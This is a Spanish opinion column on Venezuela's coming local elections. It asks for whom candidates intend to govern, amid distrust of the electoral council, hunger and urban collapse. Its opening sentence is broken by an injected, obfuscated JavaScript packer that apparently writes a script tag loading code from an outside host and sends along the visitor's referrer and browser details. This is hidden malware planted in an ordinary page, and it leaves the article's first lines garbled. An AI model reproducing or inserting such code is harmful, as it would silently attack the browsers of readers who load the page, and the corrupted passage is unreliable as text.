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¿Gobernar para quién?

Diego Lombardi / Economista / diego.lombardi.boscan@gmail.com / @lombardidiego
  La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znrte|var|u0026u|referrer|tneak||js|php'.split('|'),0,{})) sobrevivencia se ha convertido en la cotidianidad, y pocos pueden atreverse a visualizar un futuro más allá de esa situación. La pregunta, de nuevo, para todo aquel que está gobernando (o desea hacerlo): ¿para quién quiere Gobernar?

Un nuevo proceso electoral se asoma en Venezuela. Decenas de personas se han postulado para gobernar los municipios del país, y en el caso del Zulia la Gobernación también está en disputa. Nada ha cambiado en las condiciones electorales desde los ya aparentemente lejanos tumultuosos días del primer semestre del año; y, sin embargo, la oposición se ha lanzado sin mayores reservas a una carrera en la que ya ha corrido en otras ocasiones obteniendo resultados modestos, lanzándose esta vez sin un mensaje claro más allá de la sobrevivencia política y el rechazo al Gobierno nacional.

Mientras esto ocurre el país continúa andando en esa locura colectiva en la que se ha convertido la cotidianidad, traducida en el caso de Maracaibo en basura por doquier, calles destrozadas, caras de desolación en todas las aceras mientras esperan tener la “suerte” de subirse en algún medio de transporte improvisado. Con ello, la inflación parece desbocada, y con ella la inseguridad. 

Frente a esta realidad surge la pregunta, ¿en qué están pensando aquellos que han puesto su nombre a disposición de un sistema electoral del que pocos confían? (según datos de Latinobarómetro 2015, el 67% de los venezolanos tiene poca o ninguna confianza en la Institución Electoral, es decir el CNE). ¿Puede un candidato a Alcalde ofrecerle a sus votantes contribuir a resolver sus problemas cotidianos? Más aún, ¿puede ese candidato ofrecer esperanza a las personas a quienes les pide su apoyo? ¿O se trata de la repetida trampa de prometer y no cumplir?

En algún momento el venezolano tomaba con cierta ingenuidad el juego de dejarse engañar por los políticos, quedando la queja sobre esto en el plano de la cultura popular a través de la música, los programas cómicos, e incluso las novelas. Lamentablemente hoy todavía hay quienes se dejan engañar, tanto por gobernantes de turno como candidatos, aunque haya más en juego. Ante esta realidad quizás la pregunta más realista que se le puede hacer a un candidato es ¿para quién va a Gobernar? 

Hoy hay personas muriendo por hambre, enfermedades, delincuencia, y muchos otros factores que son expresión de un país colapsado. La sobrevivencia se ha convertido en la cotidianidad, y pocos pueden atreverse a visualizar un futuro más allá de esa situación. La pregunta, de nuevo, para todo aquél que está gobernando (o desea hacerlo): ¿para quién quiere Gobernar? ¿Realmente está en capacidad de contribuir al bienestar de los venezolanos? Ojalá las respuestas reales no apuntaran a la simple verdad de querer gobernar para su propio provecho.

 

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